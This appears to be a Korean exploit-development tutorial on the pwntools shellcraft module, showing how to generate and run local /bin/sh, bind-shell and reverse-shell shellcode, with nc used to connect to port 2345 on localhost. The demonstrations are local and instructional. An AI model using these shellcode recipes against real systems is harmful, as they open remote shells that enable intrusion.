Excuse the ads! We need some help to keep our site up.

List

Pwntools - shellcraft

  • pwntools에서는 편리한 shellcode 생성을 위해 shellcraft 모듈을 제공합니다.
  • 해당 모듈은 아래와 같이 아키텍처별, 운영체제별로 지원합니다.
    • 자세한 정보는 http://docs.pwntools.com/en/stable/shellcraft.html 를 참조하세요.
    • 해당 모듈에서 shellcode를 편리하게 작성할 수 있는 여러가지 기능을 제공하고 있습니다.
    • 하지만 필자는 해당 모듈을 이용하여 앞에서 설명한 shellcode들을 쉽게 만드는 방법에 대해 설명합니다.
organized by architecture and then by operating system.
Architectureoperating system
AArch64, AMD64, ARM, intel80386, MIPS, Thumblinux, freebsd
  • 설명을 시작하기 전에 필자가 생각하기에는 shellcraft 모듈에서 제공하는 shellcode는 최적화, 효율적이지 못한 부분이 있다고 생각됩니다.
  • 그렇기 때문에 Shellcraft를 사용할 때 주의가 필요합니다.

Local Shellcode

Synopsis

  • shellcraft 모듈에서는 sh() 함수를 이용해 간단하게 "/bin/sh" 를 실행하는 shellcode를 생성할 수 있습니다.

    • 해당 함수는 aarch64,amd64,arm,i386,mips,thumb 아키텍처의 linux, freebsd 운영체제에 맞는 shellocode를 생성 할 수 있습니다.

    • 다음과 같이 아키텍처와 운영체제를 선택한 후 sh() 함수를 호출하면, 해당 조건에 맞는 shellcode를 리턴합니다.

Synopsis
shellcraft.i386.linux.sh()

Example

  • 다음과 같이 shellcode를 생성 후 실행 할 수 있습니다.
    • 예제에서는 테스트의 편의를 위해 run_assembly() 함수를 이용해 shellcode를 실행했습니다.
Create and run Shellcode
>>> shellcode = shellcraft.i386.linux.sh()
>>> p = run_assembly(shellcode)
[*] '/tmp/pwn-asm-g_qJNW/step3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
[x] Starting local process '/tmp/pwn-asm-g_qJNW/step3'
[+] Starting local process '/tmp/pwn-asm-g_qJNW/step3': pid 42665
>>> p.interactive()
[*] Switching to interactive mode
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[*] Got EOF while reading in interactive

Bind Shellcode

Synopsis

  • shellcraft 모듈에서는 bindsh() 함수를 이용해 간단하게 bind shellcode를 생성 할 수 있습니다.
    • 해당 함수는 amd64,mips,thumb 아키텍처의 linux 운영체제에 맞는 bind shellocode를 생성 할 수 있습니다.

    • 다음과 같이 아키텍처와 운영체제를 선택한 후 bindsh() 함수를 호출하면, 해당 조건에 맞는 shellcode를 리턴합니다.

      • 첫번째 인자는 사용할 Port 번호를 전달합니다.

      • 두번째 인자는 사용할 네트워크가 'ipv4','ipv6' 인지 전달합니다.

Synopsis
shellcraft.amd64.linux.bindsh(port, network)

Example

  • 다음과 같이 shellcode를 생성 후 실행 할 수 있습니다.
    • bindsh() 함수의 첫번째 인자로 bind shellcode에서 사용할 port로 2345를 전달합니다.

    • bindsh() 함수의 두번째 인자로 'ipv4'를 전달합니다.
    • wait_for_close() 함수를 이용해 shellcode를 실행 합니다.
Create and run Shellcode
lazenca0x0@ubuntu:~$ python 
Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> shellcode = shellcraft.amd64.linux.bindsh(2345, 'ipv4')
>>> p = run_assembly(shellcode,arch='amd64')
>>> p.wait_for_close()

  • nc 프로그램을 이용해 해당 bind shellcode에 접속 할 수 있습니다.
Connected to the bind Shellcode.
lazenca0x0@ubuntu:~/Exploit/shellcode$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

reverse shell

Synopsis

  • shellcraft 모듈에 connect(), findpeersh() 함수를 이용해 간단하게 reverse shellcode를 생성 할 수 있습니다.
    • connect 함수를 이용해 네트워크 연결에 필요한 소켓을 생성 및 host에 연결하는 shellcode를 생성 합니다.
      • connect() 함수는 aarch64,amd64,arm,i386,mips,thumb 아키텍처의 linux 운영체제만 지원합니다.

      • 전달될 인자 값은 다음과 같습니다.

        • 첫번째 인자 값은 연결할 IP 주소를 전달합니다.

        • 두번째 인자 값은 연결할 Port를 전달합니다.

        • 세번째 인자 값은 연결할 네트워가 'ipv4','ipv6'인지 전달 합니다.

    • findpeersh() 함수는를 이용해 connect 함수에 의해 생성된 소켓에 표준 스트림을 복제(링크) 합니다.

      • findpeersh() 함수는 amd64,i386,mips,thumb 아키텍처의 linux 운영체제만 지원합니다.

      • 첫번째 인자 값으로 connect() 함수에 전달된 port 번호를 전달합니다.

Synopsis
shellcraft.i386.linux.connect(host, port, network)
shellcraft.i386.linux.findpeersh(port)

Example

  • 다음과 같이 shellcode를 생성 할 수 있습니다.
    • connect의 첫번재 인자로 연결할 IP 주소로 localhost를 전달합니다.
    • connect의 두번재 인자로 연결할 Port 번호로 2345를 전달 합니다.
    • connect의 세번재 인자로 연결할 네트워크로 ipv4를 전달 합니다.
    • findpeersh의 첫번째 인자로 Port 번호 2345를 전달 합니다.
Create Shellcode
lazenca0x0@ubuntu:~$ python
Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> assembly  = shellcraft.i386.linux.connect('localhost', 2345, 'ipv4')
>>> assembly += shellcraft.i386.linux.findpeersh(2345)
  • nc 프로그램을 이용해 bind server를 생성합니다.
Create server
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
  • 앞에서 생성한 reverse shellcode를 실행합니다.
Run shellcode
>>> p = run_assembly(assembly)
[*] '/tmp/pwn-asm-Nbw1KJ/step3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
[x] Starting local process '/tmp/pwn-asm-Nbw1KJ/step3'
[+] Starting local process '/tmp/pwn-asm-Nbw1KJ/step3': pid 4144
>>> 
  • 다음과 같이 nc 프로그램에 reverse shell이 연결됩니다.
Connected to the nc server.
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 48708)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Related site

Comments